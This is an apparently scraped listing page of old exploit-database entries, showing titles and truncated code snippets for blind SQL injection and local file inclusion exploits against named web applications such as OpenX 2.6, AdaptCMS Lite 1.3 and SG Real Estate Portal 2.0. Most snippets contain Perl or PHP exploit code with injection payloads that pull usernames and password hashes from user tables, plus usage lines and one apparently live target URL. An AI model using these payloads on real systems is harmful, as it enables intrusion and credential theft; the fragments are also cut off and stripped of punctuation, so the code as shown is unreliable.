OpenX 2.6 (ac.php bannerid) Remote Blind SQL Injection Exploit

No description provided by source. html headtitleOpenX Remote Blind SQL Injection Exploit By d00m3r4ng/title/head bodycenter ?php //discovered by d00m3r4ng //exploit coded by d00m3r4ng //contact: d00m3r4ngatgmail.com settimelimit0; function sockr$j, $exp, $asc extract $POST; global $l; if$socket ...

IP Reg 0.4 - Blind SQL Injection

IP Reg 0.4 - Blind SQL Injection !/usr/bin/perl ----------------------------------------------- IP Reg post$host, username = $param, userpass = 'admin' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpass,$uidz,1=$charz,"...

AdaptCMS Lite <= 1.3 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================ AdaptCMS Lite post$host.'/includes/checkuser.php', username = $param ; if$post-issuccess return 38 unless $post-content = /yes/i; my @chars = 48..57, 97..102; for0..32 foreach my $set@chars...

ipreg-blindsql.txt

!/usr/bin/perl ----------------------------------------------- IP Reg post$host, username = $param, userpass = 'admin' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpass,$uidz,1=$charz,". "benchmark200000000,char0,". "0 from user where...

AdaptCMS Lite 1.3 - Blind SQL Injection

!/usr/bin/perl ----------------------------------------------------- AdaptCMS Lite post$host.'/includes/checkuser.php', username = $param ; if$post-issuccess return 38 unless $post-content = /yes/i; my @chars = 48..57, 97..102; for0..32 foreach my $set@chars $send = "' or asciisubstringselect...

OpenX 2.6 - 'bannerid' Blind SQL Injection

OpenX Remote Blind SQL Injection Exploit By d00m3r4ng ",0 $i++; return $i; function getValue$length for $a=1;$a",$b $bl=$b; else $bh=$b; $v.=chr$b; return $v; $host="127.0.0.1"; $result="concatusername,0x3A,password"; $table="oxusers"; ifisset$POST'host' extract$POST; $l=0; whilesockr1,"",0 $l++;...

Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability

No description provided by source. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- / Script: Rianxosencabos / Version: 0.9 / File affected:...

SG Real Estate Portal 2.0 Blind SQL Injection/Local File Inclusion Vulns

No description provided by source. + SG Real Estate Portal 2.0 Blind SQL Injection/Local File Inclusion + Discovered By SirGod + MorTal TeaM + Greetz : E.M.I.N.E.M,Ras,Puscasmarin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke script: http://serverfree.org/download.php?file=347076 + Local File...

ADN Forum 1.0b - Blind SQL Injection

ADN Forum 1.0b - Blind SQL Injection !/usr/bin/perl -------------------------------------------------- ADN Forum get$host."/index.php?fid=".$send; if$request-issuccess and $request-content = /hace clic en el boton de abajo/i $hash .= chr$ord; $uid++; ifdefined $hash print "+ MD5: $hash\n"; exit;...

sgrealestate-sql.txt

1 $url = $argv1; if $argc $t-1 $count = $i; $i = 30; for $j = 1; $j $count; $j++ for $i = 46; $i = 122; $i=$i+2 if $i == 60 $i = 98; $laenge = strlenfilegetcontents$url."+and+asciisubstringselect+username+from+websiteadminadminusers+where+id=".$userid."+limit+0,1,"...

SG Real Estate Portal 2.0 Blind SQL Injection Exploit

No description provided by source. ?php iniset"maxexecutiontime",0; printr' SG Real Estate Portal 2.0 - Blind SQL Injection Exploit Vulnerability discovered by: Stack Exploit coded by: Stack Greetz to: All My Freind Admin Panel: Target/SG/ Usage: php '.$argv0.' Target Userid Example : php...

SG Real Estate Portal 2.0 - Blind SQL Injection Local File Inclusion

SG Real Estate Portal 2.0 - Blind SQL Injection Local File Inclusion + SG Real Estate Portal 2.0 Blind SQL Injection/Local File Inclusion + Discovered By SirGod + MorTal TeaM + Greetz : E.M.I.N.E.M,Ras,Puscasmarin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke script:...

Rianxosencabos CMS 0.9 - Blind SQL Injection

Rianxosencabos CMS 0.9 - Blind SQL Injection -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- / Script: Rianxosencabos / Version: 0.9 / File affected:...

SG Real Estate Portal 2.0 Blind SQL Injection/Local File Inclusion Vulns

Exploit for unknown platform in category web applications ======================================================================== SG Real Estate Portal 2.0 Blind SQL Injection/Local File Inclusion Vulns ======================================================================== + SG Real Estate...

Rianxosencabos CMS 0.9 - Blind SQL Injection

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- / Script: Rianxosencabos / Version: 0.9 / File affected: scripts/links.php / Download:...

SG Real Estate Portal 2.0 - Blind SQL Injection / Local File Inclusion

SG Real Estate Portal 2.0 Blind SQL Injection/Local File Inclusion + Discovered By SirGod + MorTal TeaM + Greetz : E.M.I.N.E.M,Ras,Puscasmarin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke script: http://serverfree.org/download.php?file=347076 + Local File Inclusion - Note : For PoC's 4,5 you...

Atomic Photo Album 1.1.0pre4 - Blind SQL Injection

Atomic Photo Album 1.1.0pre4 - Blind SQL Injection php '.$argv0.' http://www.site.com/apa/album.php?apaalbumID=2 2 Live Demo : http://www.brzi.info/foto/album.php?apaalbumID=2 1 '; if $argc 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."+and+1=1--"...

Atomic Photo Album 1.1.0pre4 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== Atomic Photo Album 1.1.0pre4 Blind SQL Injection Exploit ======================================================== php '.$argv0.' http://www.site.com/apa/album.php?apaalbumID=2 2 Live...

Atomic Photo Album 1.1.0pre4 - Blind SQL Injection

php '.$argv0.' http://www.site.com/apa/album.php?apaalbumID=2 2 Live Demo : http://www.brzi.info/foto/album.php?apaalbumID=2 1 '; if $argc 1 $url = $argv1; if $argc $t-1 $count = $i; $i = 30; for $j = 1; $j $count; $j++ for $i = 46; $i = 122; $i=$i+2 if $i == 60 $i = 98;...

WSN Links Free 4.0.34P (comments.php) Blind SQL Injection Exploit

No description provided by source. -Powered by WSN Links Free 4.0.34P Blind SQL Injection By Stack exploit: http://site.com/path/comments.php?id=1 and 21/ the page fully loaded http://site.com/path/comments.php?id=1 and 13/ page loaded whit any data and some error that say "No such content exists...